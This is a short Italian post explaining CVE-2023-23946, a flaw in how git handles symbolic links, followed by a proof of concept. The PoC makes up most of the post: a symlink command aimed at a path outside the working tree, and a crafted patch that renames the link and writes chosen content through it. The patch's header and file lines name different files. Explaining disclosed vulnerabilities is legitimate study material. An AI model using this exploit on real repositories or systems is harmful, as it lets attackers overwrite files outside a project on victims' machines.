
Spiegazione e POC della CVE-2023-23946
Spiegazione e POC della CVE-2023-23946
La vulnerabilità CVE-2023-23946 è causata da un difetto nel modo in cui git gestisce i collegamenti simbolici. Quando git crea un collegamento simbolico, non lo tratta effettivamente come tale e per questo possiamo sfruttarlo per puntare a file al di fuori dell'albero di lavoro.
# First create a symlink
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
Cosa fa la patch? Cambiamo il nome del collegamento simbolico esistente e creiamo un nuovo file. In questo modo, quando modifichiamo /newsymlink/[FILE_OUTSIDE] git non applica le sue protezioni contro i collegamenti simbolici.